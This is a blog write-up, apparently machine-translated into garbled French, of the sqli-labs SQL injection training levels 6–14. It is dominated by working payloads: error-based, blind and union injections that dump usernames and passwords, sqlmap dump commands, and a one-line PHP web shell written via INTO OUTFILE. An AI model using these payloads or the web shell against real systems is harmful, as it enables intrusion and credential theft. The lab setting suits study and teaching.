当前位置:网站首页>Sqli - Labs Clearance (less6 - less14)
Sqli - Labs Clearance (less6 - less14)
2022-07-02 06:54:00 【Xu Jirong】
less-6
less-7
less-8
substr()
ascii()
sqlmapDevinezGETDemande de base de données
less-9
sleep()
less-10
less-11
less-12
less-13
less-14
less-6
Mesurer la fermeture par étapes,
localhost/sqli/Less-6/?id=1" //Erreur signalée,Et exposer la deuxième moitié de l'instruction de requête localhost/sqli/Less-6/?id=1"
//Retour à la page correcte
localhost/sqli/Less-6/?id=1"
//Valeur nulle
La fermeture mesurée est"(Guillemets doubles)Type d'erreurGETInjection de type
Comme au niveau 5,Imprimons les résultats directement
updatexml()
localhost/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)),0)-- - SELECT * FROM users WHERE id="1" and updatexml(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)),0)-- -" LIMIT 0,1

extractvalue()
localhost/sqli/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)))-- - SELECT * FROM users WHERE id="1" and extractvalue(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)))-- -" LIMIT 0,1

floor()
http://localhost/sqli/Less-6/?id=1" and (select 1 from (select count(*) ,concat((select CONCAT_WS(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -
SELECT * FROM users WHERE id="1" and (select 1 from (select count(*) ,concat((select CONCAT_WS(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -"LIMIT 0,1

RegardePHPCode source
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
less-7
'))Ferméget Injection d'erreur de type
C'est comme les deux portes avant , Juste pour montrer updatexml()
updatexml()
http://localhost/sqli/Less-7/?id=1')) and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0)-- -
SELECT * FROM users WHERE id=(('1')) and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0)-- -')) LIMIT 0,1

Mais nous avons découvert que le titre était GET - Dump into outfile -String
sql Vulnérabilité à l'exportation de fichiers pour ,Ça impliqueMySQLUne fonction de
SELECT … INTO OUTFILE
Déclarations pour exporter simplement les données vers un fichier texte.
Cela vous permet de monter un cheval sur le serveur
Cette comparaison
Mais si vous exportez des fichiers, vous vous trompez.
You have an error in your SQL syntaxThe MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Cette erreur s'est produite parce qu'il n'y avait pas de chemin d'écriture spécifié pour la base de données ou parce qu'il y avait un problème avec le chemin d'écriture .
Peut être utilisé
show variables like '%secure%';


Voir le chemin de stockage des données ,Sisecure_file_priv- Oui.null Ça s'est avéré être my.ini Aucun chemin d'écriture configuré dans le fichier .À ce moment - là.mysql.iniDocument[mysqld] Ajouter sous le Code secure_file_priv=D:/OUTFILE, Il suffit d'ajouter un chemin spécifié pour exporter le fichier , Donc ce truc devrait être difficile à utiliser
Si vous le permettez, nous pouvons passer une phrase comme suit, cheval de Troie ou quelque chose comme ça
')) union select "<?php @eval($_POST['sql']);?>" into outfile 'Chemin'
Je n'écrirai pas ici ,Je ne veux pas écrire.
less-8
http://localhost/sqli/Less-8/?id=1' //Vide http://localhost/sqli/Less-8/?id=1 and 1=1 //Ça vaut le coup. http://localhost/sqli/Less-8/?id=1 and 1=2 //Ça vaut le coup. http://localhost/sqli/Less-8/?id=1' and '1'='1 //Ça vaut le coup. http://localhost/sqli/Less-8/?id=1' and '1'='2 //Vide http://localhost/sqli/Less-8/?id=1' order by 3 -- -
//Ça vaut le coup.
Je crois.’(Guillemets simples) Fermeture en aveugle booléenne
On peut deviner la chaîne de la façon suivante
Comme suit:
localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))>115 -- - SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>115 -- -' LIMIT 0,1


localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 -- - SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))=115 -- -' LIMIT 0,1


substr()
C'est une fonction de chaîne tronquée ,substr(database(),1,1) Cela signifie intercepter le nom de la base de données , Tronquer un caractère à partir du premier caractère , Nous savions que la base de données était ‘security’, Donc les caractères interceptés sont ‘s’
ascii()
Est de convertir les caractères en ASCIICode,‘s’ CorrespondantASCII- Oui.115
Donc l'opération ci - dessus a fait deux devinettes sur les caractères , Déterminer si le premier caractère du nom de la base de données est >115, Pas plus grand que la page retournée vide , La deuxième fois que j'ai deviné que c'était égal à 115, Le premier caractère de la base de données est ’s’.
Bien sûr, c'est ce que nous savons. , J'ai besoin d'un peu de dichotomie pour deviner si je ne sais pas ,Très lent., Donc en général, cette injection a besoin d'outils pour deviner .
sqlmapDevinezGETDemande de base de données
Nous utilisonssqlmap Devinez - le ,sqlmap Utilisez - le. Fouillez - le vous - même. , Je ne peux pas vous présenter tous les ordres un par un. , Tout ce que je peux dire, c'est ce que je peux utiliser.
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" --dbs


Exposer directement la base de données 
sqlmap Il nous donne également une liste des types d'injection et des payload
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
PHP Il y a un dossier écrit à l'intérieur. , On a fait plus d'une centaine en courant. kb Quelque chose entre ,Alors utilisezsqlmap Il est facile d'insérer beaucoup de données sales dans la base de données des sites Web des gens
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" -D security -tables


Faites sauter toutes les tables ,-D Utilisé pour spécifier la base de données , Vérifiez votre propre usage ,C'est simple.
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" -D security -T users --columns


Exposer tous les champs ,-T Utilisé pour spécifier le tableau
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" -D security -T users -C "username,password" --dump

Exploser toutes les valeurs de champ , -C Utilisé pour spécifier les champs 
sqlmap .Après avoir couru ces données, j'ai inséré tellement de données , Alors ne fais pas de bêtises
Regardons le code source.
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysqli_error($con1));
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
En fait, c'est mettre
print_r(mysqli_error($con1));
Celui - ci va
less-9
Le sujet nous dit que c'est une question de temps.
GET-Blind-Time based single Quotes
Regardons le code source.
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysqli_error($con1));
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
Nous pouvons voir si c'est vrai ou non , Toutes les pages montrent "You are in …", C'est juste qu'on ne peut pas le voir de la surface ,Mais ça ne veut pas direSQL L'instruction d'injection n'a pas été exécutée , Qu'en penses - tu? ,Nous pouvonspayload Riga un paragraphe sleep()Déclarations
sleep()
Syntaxe:
sleep(N)
NValeur numérique,En secondes, Plus cette valeur , L'instruction de requête attendra NSeconde exécution
C'estsleep Ça dépend aussi du nombre de lignes dans la requête. , Parce qu'il est considéré comme un champ 
Chaque ligne de données générée est exécutée une fois , Donc là - haut 3Plus de secondes.
Disons deux lignes de données. 6Plus de secondes., Donc nous avons entré plusieurs fois payload Vous pouvez ajouter un sleep() Fonction pour voir le temps de réponse de la page , Pour déduire s'il y a une injection aveugle dans le temps
http://localhost/sqli/Less-9/?id=1' and sleep(3)-- -
SELECT * FROM users WHERE id='1' and sleep(3)-- -' LIMIT 0,1

C'est ce qu'on peut dire avec une note à la main payload
1' and if((substr(database(),1,1))='s',sleep(5),null)
Nous pouvons voir les temps de réponse des paquets dans les outils de développement ,4Plus de secondes., Indique qu'il existe un point d'injection
Ce n'est pas une erreur Echo , L'injection aveugle n'est pas très bonne , Le jugement est le même que l'injection aveugle. , C'est juste une demande de temps supplémentaire. ,On va prendresqlmap Un mot de passe 
sqlmap -u "192.168.10.189/sqli/Less-9/?id=1" -D security -T users -C "username,password" --dump

less-10
Regardez le titre.
GET - Blind-Time based - double quots
Double citation close Time Blind note , Nous n'allons pas essayer un par un, comme nous l'avons fait avec les tests Echo précédents , Est de prendre le temps de juger , C'est un peu long ,On est justesqlmap Juste une course 
sqlmap Il a dit qu'il n'y avait pas d'injection ...
less-11
TitrePOST - Error Based - Single quotes -String
post Type single guillemet closed Character type Echo injection , En fait, si nous regardons la page, nous pouvons voir que c'est postInjection de type
On a fait une erreur en donnant une seule citation. 
Nous pouvons deviner la deuxième moitié de la requête username=‘’ and password=‘’ LIMIT 0,1
Nous pouvons maintenant construire une requête permanente
' or 1=1 -- -

Nous vérifions le code source
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysqli_error($con1));
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>

payload:' union select group_concat(username),group_concat(password) from users-- -
SELECT username, password FROM users WHERE username='' union select group_concat(username),group_concat(password) from users-- -' and password='' LIMIT 0,1

less-12
Titre:POST -Error Based -Double quotes -String - with twist
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
Regardez le code source.,")Fermépost Type Echo Character injection ,Principe et11C'est pareil., On prend le Code directement
payload:") union select group_concat(username),group_concat(password) from users -- -
SELECT username, password FROM users WHERE username=("") union select group_concat(username),group_concat(password) from users -- -") and password=("") LIMIT 0,1

less-13
Titre:POST-Double injection - Single quotes String - with twist
payload:' //Erreur signalée,J'ai appris que c'était')Fermé
payload:') or 1=1 -- -
// J'ai appris que c'était une injection d'erreur , Pas d'écho direct des valeurs
Toujoursupdatexml()、extractvalue()、floor()
payload:') and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0) -- -
SELECT username, password FROM users WHERE username=('') and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0) -- -') and password=('') LIMIT 0,1

less-14
Titre:POST - Double injection -Single quotes-String-with twist
payload:'
//Pas d'écho
Il est important de noter que
SELECT username, password FROM users WHERE username="'" and password="" LIMIT 0,1

“”(Guillemets doubles) Fermé et (“”)( Parenthèses à double citation ) Fermé à l'intérieur ’(Guillemets simples) Est également exécuté comme une chaîne , Donne - moi une double citation. , On peut essentiellement déterminer si les guillemets doubles sont fermés , Et si elle a été adoptée mysqli-error($con)
payload:" //Erreur signalée, Et explose la deuxième moitié de l'instruction de requête """ and password="" LIMIT 0,1
On peut voir qu'il s'agit d'un type d'erreur de fermeture de guillemets doubles POST Injection de type de caractère de type
Comme un, On donne un paragraphe payload
admin" and (select 1 from (select count(*) ,concat((select concat_ws(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -
SELECT username, password FROM users WHERE username="admin" and (select 1 from (select count(*) ,concat((select concat_ws(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -" and password="" LIMIT 0,1
C'estfloor() La Déclaration des erreurs nécessite and Une valeur valide , Afficher NULL si la valeur n'est pas valide , Cette méthode exige que nous connaissions une information , Ce n'est pas très utile 
Supposons que vous ne sachiez pas que le numéro de compte est ’admin’, Il n'y a pas d'écho d'erreur
边栏推荐
- Storage space modifier in CUDA
- Self study table Au
- Overload global and member new/delete
- web自动化切换窗口时报错“list“ object is not callable
- js的防抖和节流
- unittest. Texttestrunner does not generate TXT test reports
- CUDA and Direct3D consistency
- Cve - 2015 - 1635 (ms15 - 034) réplication de la vulnérabilité d'exécution de code à distance
- Warp matrix functions in CUDA
- 默认google浏览器打不开链接(点击超链接没有反应)
猜你喜欢

Cve-2015-1635 (ms15-034) Remote Code Execution Vulnerability recurrence

Win10: add or delete boot items, and add user-defined boot files to boot items

Queue (linear structure)

apt命令报证书错误 Certificate verification failed: The certificate is NOT trusted

如何调试微信内置浏览器应用(企业号、公众号、订阅号)

sqli-labs通关汇总-page4

Latex compilation error I found no \bibstyle &\bibdata &\citation command

CVE-2015-1635(MS15-034 )远程代码执行漏洞复现

QQ email cannot receive the email sent by Jenkins using email extension after construction (timestamp or auth...)

sqli-labs通关汇总-page3
随机推荐
Latex compilation error I found no \bibstyle &\bibdata &\citation command
In depth study of JVM bottom layer (IV): class file structure
Self cultivation of programmers - Reflection on job hunting
Latex warning: citation "*****" on page y undefined on input line*
Record RDS troubleshooting once -- RDS capacity increases dramatically
Self study table Au
CVE-2015-1635(MS15-034 )远程代码执行漏洞复现
Recursion (maze problem, Queen 8 problem)
Atcoder beginer contest 253 F - operations on a matrix / / tree array
Vscode installation, latex environment, parameter configuration, common problem solving
Stack (linear structure)
Date time API details
SQL注入闭合判断
SQLI-LABS通关(less6-less14)
PIP install
JS divides an array into groups of three
JS to determine whether there is a value in the object in the array
Queue (linear structure)
DeprecationWarning: . ix is deprecated. Please use. loc for label based indexing or. iloc for positi
Deployment API_ automation_ Problems encountered during test